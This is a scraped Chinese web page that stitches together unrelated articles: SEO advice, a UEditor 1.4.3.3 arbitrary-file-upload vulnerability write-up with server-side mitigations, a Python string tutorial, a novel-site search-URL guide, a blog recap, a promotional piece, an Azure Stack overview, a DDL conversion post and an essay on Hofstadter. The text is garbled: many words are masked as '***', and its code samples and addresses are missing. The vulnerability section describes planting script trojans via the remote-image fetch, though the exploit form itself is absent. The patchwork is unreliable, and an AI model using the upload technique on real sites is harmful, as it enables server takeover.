  核心关键词加外链确实能推动关键词排名优化的速度,最快的速度达到好效果,但是外链也有另一个问题,降权的网站会有连带效应。外链不加不会减分,外链加错了可能会降分,对于小网站和新网站的优化,交换链接一定要保持缓慢速度,选择外链的时候也要考察对方有多少外链导出,网站是否正常没有降权等,实在没有合适的外链就不要加。

  今天仅分享以上四点,“关键词怎么优化才能做到排名效果好”是一个综合性的课题,把以上四点做好了,关键词的优化会变得容易很多。

  跟老赵头儿学开发之十四 : 百度编辑器安全漏洞及其防护措施

  百度编辑器UEditor 是一套开源的在线html编辑器,它是由百度web前端研发部开发的所见即所得的富文本web编辑器,开发人员可以用 UEditor 把传统的多行文本输入框(textarea)替换为可视化的富文本框。

  UEdito既可以录入文本也可以上传图片,还可以支持自定义的html编写,支持电脑端及移动端,自适应页面,图片也可以自动适应当前的上传路径与页面比例大小,还支持一些视频文件的上传。

  UEditor具有轻量,可定制,注重用户体验,开源基于MIT协议,允许自由使用和修改代码等的特点。因其开源,高效,稳定,安全,一直深受站长们的喜欢。

  但其当前更高版本UEditor 1.4.3.3却有一个致命的安全漏洞,即可绕过文件格式的限制,实现任意文件的上传。具体说就是因其在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断,攻击者可以上传包括脚本执行文件(aspx脚本木马,asp脚本木马,php脚本木马等)在内的任意文件,甚至还可以利用该漏洞对服务器进行攻击,执行系统命令破坏服务器,因此漏洞危害严重性较高。

  一、漏洞分析。

  先建立一个html文档,内容如下:

  地址:

  这段代码的作用就是利用UEditor抓取远程文件功能,把“网站2”的123.jpg这个图片文件上传到网站1的UEditor指定的上传目录中去,上传成功后,页面上会显示出上传成功的图片Url地址,那么攻击者就可以用Url地址访问这个图片文件,现在你的网站就成了攻击者的图片库了。

  危害远不止这些,如果我们把这个远程链接的图片文件换成一个图片脚本木马,比如典型的一句话图片小马,那么我们上传到服务器中的就不是一个简单的图片文件了,而是脚本木马文件,它的扩展名可以是.aspx、.asp、.php等,这样,攻击者就可以远程运行这些脚本文件来达到其非正常的目的。

  二、漏洞防护。

  目前百度官方并没有给出补丁,那么防护工作就只能靠我们自己了。

  1、取消上传目录的脚本执行权限。

  1)、在IIS中,选择文件上传目录名称,双击“处理程序映射”,在最右侧窗口选择“编辑功能权限”,在出现的对话框中只勾选“读取”。

  这样会在这个upload上传文件夹目录中产生一个Web.config文件:

  重启动整个IIS或此站点即可生效。

  2)、如果是apache则在站点的配置文件中加入:

  Order Deny,Allow #Deny和Allow的先后顺序

  Deny from all #禁止所有

  3)、如果是nginx则在站点配置文件中加入:

  location/upload/ {

  location ~ .*\.(php)$ {

  deny all;

  }

  }

  2、关闭UEditor抓取远程文件功能

  1)、在net版中首先编辑ueditor.config.js文件,搜索到以下这句:

  //,catchRemoteImageEnable: true //设置是否抓取远程图片

  并在下方加入一句:

  ,catchRemoteImageEnable:false

  这样更改后,攻击者上传图片时会出现“远程服务器返回错误: (404) 未找到。”的提示。也就是已经可以阻止攻击者上传了,但我们还可以再进一步防护,我们再找到net目录中的controller.ashx,找到如下关于抓取远程文件的内容:

  case"catchimage":

  action=new CrawlerHandler(context);

  break;

  把它改成:

  case "catchimage":

  action=new NotSupportedHandler(context);

  break;

  或者干脆去掉这三句,这时对攻击者的提示就成了:

  {"state":"action参数为空或者 action 不被支持。"}

  2)、在php版中,更改 *** 基本与net版相同,只是第二个要改的文件是php目录中的controller.php,我们要改的内容是:

  case'catchimage':

  $result=include("action_crawler.php");

  break;

  应该改成:

  case 'catchimage':

  $result="";

  break;

  3)、asp版的更改 *** 同net版基本相同,而jsp版在更改时,第二个要改的文件是jsp/src/com/baidu/uedito/ConfigManager.java,按照前面的 *** 去掉或更改如下内容:

  caseActionMap.CATCH_IMAGE:

  conf.put("filename", ConfigManager.REMOTE_FILE_NAME );

  conf.put("filter", this.getArray( "catcherLocalDomain" ) );

  conf.put("maxSize", this.jsonConfig.getLong( "catcherMaxSize" ) );

  conf.put("allowFiles", this.getArray( "catcherAllowFiles" ) );

  conf.put("fieldName", this.jsonConfig.getString( "catcherFieldName") + "[]" );

  savePath=this.jsonConfig.getString( "catcherPathFormat" );

  break;

  当然这样防护是以牺牲抓取远程文件的功能为代价的,但对于被利用与攻击来讲,还是非常值得的。

  应用软件开发 进销财务管理

  网站开发维护 *** 工程项目

  微机教育教学 电子媒体 ***

  立足教育 服务社会

  您的优秀 我的追求

   *** : 25681881 25295110

  邮箱:

  地址:

  阅读本文用了:分秒,转发只需1秒

  转载是一种智慧分享是一种美德

  作者 | 豌豆花下猫

  责编 | 郭芮

  Python 中字符串是由 Uniocde 编码的字符组成的不可变序列,它具备与其它序列共有的一些操作,例如判断元素是否存在、拼接序列、切片操作、求长度、求最值、求元素的索引位置及出现次数等等。

  除此之外,它还有很多特有的操作,值得我们时常温故学习,所以,今天我就跟大家继续聊聊字符串。

  本文主要介绍 Python 字符串特有的操作 *** ,比如它的拼接、拆分、替换、查找及字符判断等使用 *** ,辨析了一些可能的误区。最后,还做了两个扩展思考:为什么 Python 字符串不具备列表类型的某些操作呢,为什么它不具备 Java 字符串的一些操作呢?两相比较,希望能帮助你透彻地理解——Python 的字符串到底怎么用?

  拼接字符串

  字符串的拼接操作最常用,七种拼接方式从实现原理上划分为三类,即格式化类(%占位符、format()、template)、拼接类(+操作符、类元祖方式、join())与插值类(f-string),在使用上,我有如下建议:

  当要处理字符串列表等序列结构时,采用join()方式;

  拼接长度不超过20时,选用+号操作符方式;

  长度超过20的情况,高版本选用f-string,低版本时看情况使用format()或join()方式。

  不敢说字符串就只有这七种拼接方式,但应该说它们是最常见的了。有小伙伴说,我写漏了一种,即字符串乘法,可以重复拼接自身。没错,从结果上看,这是第八种拼接方式,视为补充吧。

  关于字符串拼接,还得补充一个建议,即在复杂场景下,尽量避免使用以上几类原生 *** ,而应该使用外置的强大的处理库。

  比如在拼接 SQL 语句的时候,经常要根据不同的条件分支,来组装不同的查询语句,而且还得插入不同的变量值,所以当面临这种复杂的场景时,传统拼接方式只会加剧代码的复杂度、降低可读性和维护性。使用SQLAlchemy模块,将有效解决这个问题。

  拆分字符串

  在字符串的几种拼接 *** 中,join() *** 可以将列表中的字符串元素,拼接成一个长的字符串,与此相反,split() *** 可以将长字符串拆分成一个列表。前面已说过,字符串是不可变序列,所以字符串拆分过程是在拷贝的字符串上进行,并不会改变原有字符串。

  split() *** 可接收两个参数,之一个参数是分隔符,即用来分隔字符串的字符,默认是所有的空字符,包括空格、换行(

  )、制表符( )等。拆分过程会消耗分隔符,所以拆分结果中不包含分隔符。

  split() *** 的第二个参数是一个数字,默认是缺省,缺省时全分隔,也可以用 maxsplit 来指定拆分次数。

  split() *** 是从左往右遍历,与之相对,rsplit() *** 是从右往左遍历,比较少用,但是会有奇效。

  拆分字符串还有一种 *** ,即 splitlines() ,这个 *** 会按行拆分字符串,它接收一个参数 True 或 False,分别决定换行符是否会被保留,默认值 False,即不保留换行符。

  替换字符串

  替换字符串包括如下场景:大小写替换、特定符号替换、自定义片段替换……

  再次说明,字符串是不可变对象,以下操作并不会改变原有字符串。

  以上这些 *** 都很明了,使用也简单,建议你亲自试验一下。这里只说说 strip() *** ,它比较常用,可以去除字符串前后的空格,不仅如此,它还可以删除首末位置的指定的字符。

  查找字符串

  查找字符串中是否包含某些内容,这是挺常用的操作。Python 中有多种实现方式,例如内置的 find() *** ,但是这个 *** 并不常用,因为它仅仅告诉你所查找内容的索引位置,而在通常情况下,这个位置并不是我们的目的。

  find() *** 与 index() *** 的效果一样,它们的更大的区别只在于,找不到内容时的返回值不同,一个返回 -1,一个抛出异常 :

  以上两个 *** ,只能用来满足最简单的查找需求。

  在实战中,我们常常要查找特定模式的内容,例如某种格式的日期字符串,这就得借助更强大的查找工具了。正则表达式和 re 模块就是这样的工具,正则表达式用来定制匹配规则,re 模块则提供了 match() 、find() 及 findall() 等 *** ,它们组合起来,可以实现复杂的查找功能。限于篇幅,今后再对这两大工具做详细介绍,这里有一个简单的例子:

  字符判断

  判断字符串是否(只)包含某些字符内容,这类使用场景也很常见,例如在网站注册时,要求用户名只能包含英文字母和数字,那么,当校验输入内容时,就需要判断它是否只包含这些字符。其它常用的判断操作,详列如下:

  字符串不可以做的事

  上文内容都是 Python 字符串特有的操作 *** ,相信读完之后,你更清楚知道 Python 能够做什么了。

  但是,这还不足以回答本文标题的问题——你真的知道 Python 的字符串怎么用吗?这些特有的操作 *** ,再加上之前文章提到的序列共有的操作、字符串读写文件、字符串打印、字符串Intern机制等等内容,才差不多能够回答这个问题。

  尽管如此,为了体现严谨性,我试着再聊聊“Python 字符串不可以做的事”,从相反的维度来补充回答这个问题。下面是开拓思维,进行头脑风暴的时刻:

  (1)受限的序列

  与典型的序列类型相比,字符串不具备列表的如下操作:append()、clear()、copy()、insert()、pop()、remove(),等等。这是为什么呢?

  有几个很好理解,即append()、insert()、pop() 和 remove()都是对单个元素的操作,但是字符串中的单个元素就是单个字符,通常没有任何意义,我们也不会频繁对其做增删操作,所以字符串没有这几个 *** 也算合理。

  列表的 clear() *** 会清空列表,用来节省内存空间,效果等于anylist[:]=[],但是,奇怪的是,Python 并不支持清空/删除操作。

  首先,字符串没有 clear() *** ,其次,它是不可变对象,不支持这种赋值操作anystr[:]='',也不支持del anystr[:]操作:

  当然,你也别想通过del s来删除字符串,因为变量名 s 只是字符串对象的引用(挖坑,以后写写这个话题),只是一个标签,删除标签并不会直接导致对象实体的消亡。

  如此看来,想要手动清空/删除 Python 字符串,似乎是无解。

  最后还有一个 copy() *** ,这就是拷贝嘛,可是字符串也没有这个 *** 。为什么呢?难道拷贝字符串的场景不多么?在这点上,我也没想出个所以然来,搁置疑问。

  通过以上几个常用列表操作的比较,我们可以看出字符串这种序列是挺受限的。列表可以看成多节车厢链接成的火车,而字符串感觉就只像多个座椅联排成的长车厢,真是同源不同相啊。

  (2)比就比,谁怕谁

  接下来,又到了 Python 字符串与 Java 字符串 PK 的时刻。在对象定义的角度上,Python 的确更胜一筹,这次看看会比出个啥结果吧。

  Java 中有比较字符串的 *** ,即 compareTo() *** 与 equals() *** ,前一个 *** 逐一比较两个字符串的字符编码,返回一个整型的差值,后一个 *** 在整体上比较两个字符串的内容是否相等。

  Python 字符串没有这两个单独的 *** ,但要实现类似的功能却很简便。先看例子:

  上例中,如果把赋值的字符串换成列表或者其它对象,这些比较操作也是可以进行的。也就是说,作比较的能力是 Python 公民们的一项基本能力,并不会因为你是字符串就给你设限,或者给你开特权。

  与此类似,Python 公民们自带求自身长度的能力,len() *** 是内置 *** ,可以直接传入任意序列参数,求解长度。Java 中则要求不同的序列对象,只能调用各自的 length() *** 。说个形象的比喻,Python *** 用一把秤,三教九流之辈都能拿它称重,而Java 中有多把秤,你称你的,我称我的,大家“井水不犯河水”。

  Python 中曾经有 cmp() *** 和__cmp__()魔术 *** ,但官方嫌弃它们鸡肋,所以在Python 3 中移除掉了。虽然在 operator 模块中还为它留下了一脉香火,但保不定哪天就会彻底废弃。

  (3)墙上的门

  在 Java 中,字符串还有一个强大的 valueOf() *** ,它可以接收多种类型的参数,如boolean、char、char数组、double、float、int等等,然后返回这些参数的字符串类型。 例如,要把 int 转为字符串,可以用 String.valueOf(anynum) 。

  Python 字符串依然没有这个单独的 *** ,但要实现相同的功能却很简便。对Python来说,不同的数据类型转换成字符串,那是小菜一碟,例如:

  而从字符串转换为其它类型也不难,例如,int('123') 即可由字符串'123'得到数字 123。对比 Java,这个操作要写成 Integer.parseInt('123')。

  在Java 的不同数据类型之间,那道分隔之墙矗立得很高,仿佛需要借助一座更高的吊桥才能沟通两边,而在灵活的 Python 里,你可以很方便地打开墙上的那扇门,来往穿越。

  小结一下,跟 Java 相比,Python 字符串确实没有几项 *** ,但是事出有因,它们的天赋能力可不弱,所有这些操作都能简明地实现。一方面,Python 字符串做不到某些事,但是另一方面,Python 可以出色地做成这些事,孰优孰劣,高下立判。

  总结

  写文章贵在善始善终,现在给大家总结一下:

  本文主要介绍 Python 字符串特有的操作 *** ,比如它的拼接、拆分、替换、查找及字符判断等使用 *** ,从正向回答,Python 字符串能做什么?最后,我们还从反向来回答了 Python 字符串不能做什么?有些不能做,实际上是 不为,是为了在其它地方更好地作为,归根到底,应该有的功能,Python 字符串全都有了。

  本文中还将 Python 与 Java 做了比较,有几项小小的差异,背后反映的其实是,两套语言系统在世界观上的差异。古人云,以铜为镜,可以正衣冠。那么,在编程语言的世界里,以另一种语言为镜,也更能看清这种语言的面貌。希望这种跨语言的思维碰撞,能为你擦出智慧的火花。

  热 文推 荐

  前沿

  搜索地址,也就是书源规则里面的:ruleSearchUrl,找不到准确的搜索地址,就无法 *** 书源,没有办法下一步,今天就教大家如何来找出小说网站的搜索地址!

  之一种情况

  网站使用百度站内搜索

  

  这种情况的话,搜索地址,我们不需要再花费心思去找了,可以直接用,只要改下关键词就可以了,可以把上述的地址中“%CC%AB%B9%C5”这一串直接改成“searchKey”即可,然后填到书源规则里面的“ruleSearchUrl”。

  修改前

  修改后

  第二种情况

  网站使用的是自己的搜索,但是搜索结果页的地址显示了搜索的格式和路径

  这种情况,也比较简单粗暴,直接把=号后面的内容改成 searchKey 就可以直接填入“ruleSearchUrl”

  太古//修改前

  修改后

  第三种情况

  网站使用的是自己的搜索,但是搜索结果页的地址不显示搜索的格式和路径

  

  有办法,不需要什么特别的抓包软件,电脑的浏览器就可以看。

  用浏览器打开网站,然后按 F12,然后点击右侧的“Network”标签

  在网站的搜索栏里面随便输入一个关键词,点搜索

  然后会看到右侧的出现了一些文件的列表,点击“search.php“这个文件 点击之后,最右侧,拉到最下面,”Form data“里面会有一串东西,这个就是我们需要找的。

  如图

  这个网站通过上述的步骤,最后查到这个”searchkey=%CC%AB%B9%C5“ 这个怎么用呢? 把查到的这一串加到网站搜索页地址的后面,两个之间加个英文符号的?然后把=号后面的关键词改成”searchKey“例如:

  

  最后一步,验证上的搜索地址格式对不对,上面改好的地址,直接输入浏览器的地址栏访问,如果提示是 404 或者找不到页面,就是错的,如果正常跳转到网站的搜索结果页面,虽然什么结果都没搜到,但是这个地址是可以用的,填入书源的“ruleSearchUrl”就可以了。

  PS:如果第二种和第三种情况的搜索格式链接在浏览器里面正常跳转到网站的搜索页,但是在阅读里面搜不到东西,需要检查两个地方,一个是搜索的 list 规则对不对,这个后面会讲;另外一个是在做好的搜索地址后面加上“|char=gbk”进行转码,例如下面:

  |char=gbk

  第2课就到这里(以上教程都属于阅读群管理免贵姓操 *** 分享,原文章网址

  不知不觉2018年即将过去了,这一年分享过很多的干货,也做了几个不错的计算机类教程,其中一个编程教程目前接近3000人学习,没有花钱做过任何的推广,单纯靠公众号和大家的推荐分享,也算是一个不错的成绩吧!

  好奇的同学可以看看自己的 *** 是什么时候注册的,并且这篇文章还分享了 *** 的演变史,满满的回忆。

  这篇分享一个简单搜索模式,这个 *** 可以屏蔽垃圾的广告。你可以试试!

  现在的百度文库,有很多的第三方免费下载工具,比如下载百度文库可以用嗨文库免费下载,要是只是下载部分文字,可以直接使用OCR识别工具,或者直接使用里面的 *** ,还可以打开F12开发者后台,直接复制,总之, *** 很多,大家习惯哪种 *** 了。

  这篇文章分享了两个屏蔽广告的插件工具,之前用里面的其中一个插件打开爱奇艺,结果把视频播放前的60秒广告视频也屏蔽了,确实厉害!

  这篇分享了几个 *** 类的实用网站,我不太建议你们去做一些体力活的 *** ,外面 *** 市场很少有既可以学习东西又能赚到钱的 *** !还不如多看一本书,多学习一门技能!

  这篇文章分享的是复制文字的技巧,跟上面第三条一样原理, *** 有很多,各自取用!

  这篇推荐了几个不错的工具,之一个是录视频的工具,大家可能用得比较多。

  这篇我觉得最有趣,因为我把一个Ctrl+P这个功能发挥到了极致,其实它有几种用法,很少人知道!

  我经常会发掘一些功能,其实微信的收藏功能是我最近发现的,其实它还是一个图片拼接工具和日记笔记工具!

  为了凑够10篇整理数,再整理多一篇,这篇我觉的学习Python的同学最应该保存收藏,因为都是不错的入门练手项目!

  最后,不知道说些什么了!

  这一年的很多的想法想表达出来,却又欲言又止!

  很多次想分享自己的生活日常,和一些思考,但每写到一半又停下笔,转为分享干货技巧!

  今年做了很多个计算机类的教程,有思维认知类的,Python编程的,Photoshop的,premiere视频剪辑 *** 的,网页HTML编程的,做新媒体公众号的,计算机通用技能的,有Excel技巧的,搜索技能的。

  后面我把上面的全部专栏都 *** 到了一起,我称作一个技能福袋!

  也许新的一年,你需要这个福袋,每一个技能会可能会让你发生质的改变!

  在当今大数据时代,什么都追求现代化和资源共享,这也许是很多人生意都在考虑的问题,两者2选一都是可以发展下去的长久生意,如果有一些产品两者都包含那肯定市场无限好,共享加科技听起来就很高大上,要是用在适当的领域,肯定能掀起一阵飓风。

  娱乐机在市场也出现了好久,为什么一直没有火起来,肯定是产品的技术没有过关和产品售后没有一个稳定的保障,在我的了解,刚开始的娱乐机都是显示屏的形式嵌在桌子上面,一套笨重的设备不但价格昂贵(听说10000多),而且客户还要换掉原有的桌子成本太大,并且在PC系统的运转下时间长了就会出现一些卡屏,死机等现象,再到后来的灯泡投影机,基本本身重量十几斤,再加上灯泡寿命短,不管在安装还是实用上都是不可行的,这也是我一直不敢做 *** 的原因,直到市场上出现芯片娱乐机,仿佛看到了未来,机器小巧,安装方便,游戏更新简单,这正是大多数人都希望的产品,很多人都是自己有夜场,可是毕竟自己的场子有限,包厢就那么多,达不到 *** 的要求的量,也许凭着关系能推销一些,毕竟面子有限还是不好开展,虽然市场上消费者很喜欢,但是在推广上确实有一定的难度,在对市场的分析以后,我们就跟邦科公司领导提出可不可以做一款带扫码的,客人玩可以扫码付费,这样我们投资就是免费放在别人家的场子也无所谓,后期都能收的回来,而且给消费者一个建议不要所有的包厢都装,尽量选择生意好的场子,中包和大包可以全装,之前投资的机器,成本的话一个月不到基本上都赚回来了!现在我和当地的夜场老板都是好兄弟了,他们生意好了,酒水销量上去了,人气也起来了,关键是他们还没有花一分钱,其实我只想说生意是相互的,你们当初那么相信我,让我装,给我提供了很好的资源,这是大家应得的。

  再过两天就是2019年了,祝福大家在新的一年里往事如意,心想事成!

  Azure Stack是如何将云彩带给你的

  这是正确的,他们宁愿把一些应用程序隔离在现场数据中心,也不愿重新架构这些应用程序,并将这些应用程序重新部署到一个不确定的、通常是复杂的新世界中。在经历了十多年的不确定性之后,微软已经介入,提供了一个解决方案:Azure Stack,它基本上是运行在您控制的云驱动硬件上的Azure的私有部署,连接到您可能已经在Azure公共云上运行的工作负载。

  最近几个月有很多关于Azure Stack的炒作,但我对这个新的云平台的看法是,我认为它将增加更大的价值。 什么是Azure Stack?如果我不得不用一个比喻,Azure Stack就像乘坐私人包机,而不是商业飞行。 当你进行商业飞行时,航空公司会尽更大努力让你从A点飞到B点,在一架能更大限度地提高效率的飞机上,安排一个适合他们航线的航班。

  当你私人飞行时,你控制行程,你选择了飞机,你选择了便利设施。当然,这种灵活性水平存在成本差异。Azure Stack的核心是微软对那些想要使用其Azure公共云服务但需要像私有云一样保护、自定义和控制环境的人的反应。对医疗或金融服务等行业的严格监管要求的公司来说,这无疑是一个游戏规则的改变。

  由于用户界面看起来与Azure公共云相同,而且它使用了大部分相同的代码库,Azure Stack还为拥有遗留应用程序或现有数据存储的企业提供了广泛的吸引力,这些应用程序或现有数据存储需要单一的租户基础设施,而这些基础设施以前阻止了它们利用Azure公共云的能力和效率。

  对于那些将这些应用程序生活在专有数据中心中的企业来说也是如此,而其余的业务则在单独的公共云部署上前进。有了Azure Stack,每个行业的企业都可以利用MicrosoftCloud,统一跨组织运行的不同系统。它真正地把一切都放在一个屋檐下,它提供了在工作负载之间无缝移动的能力。对一些人来说,这听起来太好了,不可能是真的,而且肯定是独一无二的。微软是迄今为止唯一在他们的单一云和多租户云之间架起这种桥梁的超大型云提供商。

  虽然其他超大规模的供应商当然已经深入到他们的云以及他们所拥有的功能和能力上,但没有人建立起像这样连接公共和私人基础设施的选择。没有人创造出一种如此高效的方式,将仍然存在于专有数据中心中的各种工作负载集中在一起,并与基于云的对应方一起运行,所有这些工作负载都在同一个用户界面中。

  到目前为止,如果数据或遗留应用程序完全进入云端,则必须将它们带到云中。这意味着笨重的部署和具有不同代码库和API的不同系统,以及管理每个系统的多名员工。使用Azure Stack,您可以将云-本质上是相同的云-带到这些应用程序和数据中,这一切都在Azure的保护伞之下。

  与许多新技术一样,Azure Stack如果要为客户带来真正的价值,就必须进行适当的管理。这也意味着一套全新的技能(请注意,我没有提到技术),这将是公司采用和管理私有云所必需的。例如,公司内部的Azure团队需要对应用服务为了更有效地利用它。如果公司打算在Azure Stack部署中启用AppService,那么他们需要了解如何管理该服务的所有方面,以便开发人员能够使用它。

  新的尖端技术是强大的,虽然它可以意味着更容易的过程和更有效的工作流程在您的组织内,实现仍然是困难的。在这里,利用托管服务提供商是很有意义的,对于Azure Stack,该提供商应该是微软的长期合作伙伴,熟悉该平台,并有能力将其优化到更大程度。

  个人习惯用MySQL workbench EER数据建模,然后生成SQL语句到数据库中执行,这样表之间的关系比较直观。

  像下面这样:

  画图

  正向工程,生成DDL语句:

  忽略生成外键,以及外键索引啥的:

  生成的DDL语句:

  到数据库执行。

  踩坑了

  最近团队微调,我被调整到另一个小团队。前两天接了个新需求,于是我依然使用MySQL workbench EER建模,结果好不容易建模完成了,却被告知这个项目用的数据库是PostgreSQL!

  于是就面临如下几种选择:

  重新找个支持导出PostgreSQL DDL语句的建模软件,再弄一遍。据我所知,macOS平台里没啥好的数据建模软件…

  PowerDesigner用不了(除非装虚拟机,或者Wine);

  Navicat太难用了(居然有人说Navicat是更好的数据库客户端,我只能给一个大写的服,在我看来,这货连IDEA自带数据库管理都比不上……这观点可能有点偏激,但现状是我做个查询,Navicat把查询按钮藏得很深);

  IDEA宣布会开发类似功能,但一直没有动静;

  开源的PDMan,体验挺不错,但也得连个数据库控制版本。

  依然用MySQL workbench导出DDL,然后自己将MySQL DDL转换成PostgreSQL DDL。

  我选择了自己转换SQL语句。

  开源的DDL转换工具

  既然要转换SQL语句,我心想,业界肯定有相关的工具啊。于是上万能的GayHub搜了下,还真有,列出来:

  mysql-to-postgres:

  mysql-postgresql-converter:

  多款工具配合使用: (不得不佩服这兄弟真有耐心啊!)

  然而试用后,内心是崩溃的……生成出来的DDL要么有误,要么没有注释。

  自己开发工具

  考虑到我的诉求其实非常简单,只是个DDL语句转换而已,自己开发一个也不难。而且之前研读Mybatis通用Mapper源码时,知道Java世界里有个 的工具。

  花了10分钟简单了解了下 后,就开撸开发工具了……花了20分钟,初版写完了,然后和该项目的同事又花了20分钟验证了下,最终确定了如下的版本。代码贴出来:

  加依赖:

  写代码:

  如代码所示,目前是借助 的SQL解析能力配合字符串替换的方式生成PostgreSQL的。

  效果演示

  转换前的DDL:

  转换后的DDL:

  效果还是不错的,基本达到了我的要求。

  不足

  目前工具代码比较屎,如果想要改进,应该是要让工具理解MySQL DDL的词法,然后构建成例如Table、Column、Comment、Constraint、Index等对象例如:

  然后抽象一个方言枚举,并为不同的方言 *** 一个DDL Generator Handler,然后根据不同的方言生成不同数据库平台的DDL语句。

  为什么不改进?因为没有时间,工具是为工作服务的,目前能达到我的目的,就没动力修改了,未来有需求再改进吧。

  今天要说的这个人,是个传说一样的人物。

  你可能不知道他,但读过他写的书的人们,都心甘情愿奉上了膝盖。

  他叫侯世达,本名Douglas Richard Hofstadter(道格拉斯·霍夫斯塔特),是美国著名的认知科学家、比较文学家、翻译家。在聊侯世达的研究前,不妨先讲讲他的故事。

  侯世达

  侯世达家学深厚,幼承庭训。父亲罗伯特·霍夫斯塔特是著名物理学家,1961年诺贝尔物理学奖得主。

  他从小聪颖,20岁拿到数学学士学位,但博士却读得异常艰辛。花了10年时间,先后跟随4个导师,才在30岁拿到物理学博士学位。不要以为这个学位是拖出来的混出来的,他的博士论文发表在最著名的物理学期刊,一时成为经典论文,被引用次数上千。

  就在人们以为他会子从父业,开启物理研究之路的时候,他却突然“迷失”了。既不写论文,又不找工作,索性回到父母家中,啃老两年,他后来戏称“拿了父母两年奖学金”。

  父母也不管不问,任由他不靠谱。然而,就在这两年,他把之前写的一些东西重写了一遍,在1980年集结出版,当年就斩获普利策奖和美国国家图书奖,一夜之间爆得大名,这本书就是著名的科普神作《哥德尔、艾舍尔、巴赫:集异璧之大成》(简称GEB)。

  图片来自豆瓣

  这本书被全球广大网友封为“神书”,它的内容广泛到你真的很难界定它。人工智能、音乐、绘画、算法、哲学、认知科学、语言学、生物遗传、数理逻辑、系统控制论等等,可以说包罗万象。

  豆瓣上的评论都是这种风格……

  此书一出,人们就不知道该如何给他定位了,因为他在诸多前沿领域都有自己的高见。就在人们期待他能把人工智能和认知科学进一步推向前的时候,他却再次消失于公众视线。

  这不是因为他对人工智能和认知科学不感兴趣了,而是因为他对学界主流研究方向颇感失望,认为包括深度神经 *** 在内的算法技术,并没有理解人类心智的本质。

  然而侯世达并不是一个消极无为的技术悲观论者,而是一个隐于大市的探索者,只是他的旨趣和方向如此与众不同。虽然他至今还没能拿出多少突破性的成果,但他很享受探索心智的过程,并始终把自己定位成“思考思考问题的专家”(an expert of thinking of thinking)。

  有些人质疑,他的研究并没有很大的现实应用价值。不过我很喜欢他在一次采访中的回答,侯世达说:

  我宁愿当个独立思考的人,不总是站在人们注意力的最前端。

  今年我们出版了侯世达所著的《我是个怪圈》中文版,也引起了很大的关注。《连线》杂志创始主编凯文·凯利(KK)评论说:

  如何让大家更好地理解《集异璧》,这是侯世达创作《我是个怪圈》的初衷。

  今天分享《我是个怪圈》责编李天济对这本书的解读,也许你看不懂这篇文章,但真的值得一读,值得思考。

  认识我自己——人类的自我与意识之谜

  文 | 李天济

  我从哪里来?意识是什么?人的梦想、哀伤、观念、信仰……究竟是真实存在的,抑或仅仅是粒子的物理作用?人工智能只是聪明的机器,还是会拥有自己的生命?在科学大行其道的今天,我们又该如何理解人性与心智?

  神书《哥德尔、艾舍尔、巴赫:集异壁之大成》(简称GEB《集异壁》)是侯世达之一次对这些问题的回答。然而,他认为大多数人都误解了自己。

  在美国《连线》杂志对他的采访中,他明确地表态谈论人工智能显然是忽略了人类进化的复杂性,而且是极其自私和贪婪的妄想。

  《我是个怪圈》的核心观点是,我们每个人的“自我”,其实都是一种幻觉。这种幻觉产生于人类心智模式中符号系统的自我指涉现象,就如同哥德尔的逻辑、艾舍尔的版画和巴赫的音乐一样不断地递归,形成一种“怪圈”。

  因此,自我,究其根本是一种模式。它既不是一种神秘实体,也不是一种外在行为,并且不具有绝对的私人性。

  这就意味着,自我,是开源的、多重实现的,是可以在任何基质上存在的,不必非得在我们的身体或者大脑中。

  同时也意味着,在你与我之间、生与死之间、灵与物之间,并不存在被断然割裂开的黑白两界——动画长片《寻梦环游记》也表达了同样的主旨。

  通过这样的思考,侯世达完成了对意识之谜的探索,并留下了对因病逝世的前妻卡罗尔深深的怀念。

  30年前,我不懂得心智建模和人工智能之间的区别。现在我懂了,因此我把精力放在前者而不是后者,我认为自己是一名认知科学家,而不是人工智能专家。

  ——侯世达

  《哥德尔、艾舍尔、巴赫》中文版

  《我是个怪圈》中文版

  罗素的噩梦

  “不、不、不要!”售货员这样对年轻的侯世达说,“不能那么做,你会把摄像头搞坏的。”

  这一幕发生在1970年。当时侯世达和父母正在商店购物,他们想买一台摄像机。侯世达拿起其中一台摄像机,瞄一瞄父亲,又瞄一瞄自己,最后,他调皮地想把摄像机对准电视机的屏幕。

  在那一刻,他犹豫了,猜想这么一来将会形成一种自我指涉的效果,像是一个怪圈。

  这么做会有危险吗?其实并没有。但是当他询问售货员可不可以这样做的时候,得到的回答是绝对不行。

  无穷的镜像

  一直以来,人们都觉得自我指涉的结构,在逻辑上是奇怪的,是应该避免的。最经典的例子莫过于哲学家兼数学家罗素和怀特海在他们的《数学原理》中所做的努力:用逻辑为数学构建基础。

  《数学原理》的果实在于它所提出的形式系统,但却被后来的哥德尔以“不完备性定理”所揭示出的命题的自我指涉性而彻底粉碎。

  自我与怪圈

  在《我是个怪圈》中,最核心的概念莫过于自我和怪圈。

  自我,不是指人,不是一个人的名字,不是一个人的身体,不是一个人的心理特征,也不是一个人的社会身份。自我是指经验的主观性。

  在这个意义上,侯世达与脑科学划清了界限,他在《我是个怪圈》中生动地为我们比喻道:

  “把对自我和心智的研究局限在对大脑的研究上,这就好像是在说,对文学作品的欣赏必须关注作品的纸张、尺寸、装订、墨水及其化学性质。”

  怪圈是指一种以自我指涉为特征的逻辑结构。

  比如在句子“这句话是假的”中,你若说它真,那这句话就是假的;你若说它假,那这句话就是真的。究其原因,在于这句话的真值不仅仅取决于它所表达的内容,同时也取决于它自指的表达形式。

  类似地,在音乐和视觉艺术中,怪圈的形式无处不在。1948年,艾舍尔创作的版画《画手》(Drawing Hands)就是一个极好的例子。

  《画手》,艾舍尔

  画中有两只手,一只手在画另外一只手,但反过来也被另外一只手画。

  在巴赫的《音乐的奉献》中,有一段音阶无穷升高的卡农:

  《音乐的奉献》曲谱,《集异璧》第949页,商务印书馆,2017年版

  在这段音乐中,你会感觉音阶在永远往上走,但却一点也没升高。

  在《集异璧》中,侯世达对此的解释是:“在若干不同的八度音域中演奏平行的音阶,每个音符独立地加权,而且当音符上升时,权重就发生变化,让最上面一个八度逐渐减弱,而与此同时逐渐增强最下面的一个八度。”

  这种在逻辑链条上不断上行,却总是能够返回自身的形式——怪圈——也适用于我们的电脑:

  电脑可以复制一个文件,也同时可以复制复制文件的那个程序。同理,我们的自我亦是如此,它仿佛跳出了我们的认知、记忆、偏好和习惯,但却又被后者所描绘。就如同莫比乌斯带或者克莱因瓶一样,令人感到匪夷所思。

  莫比乌斯带

  克莱因瓶

  讲故事的“我”

  在侯世达看来,自我实际上可以被理解为一种叙事自我,一种虚构。

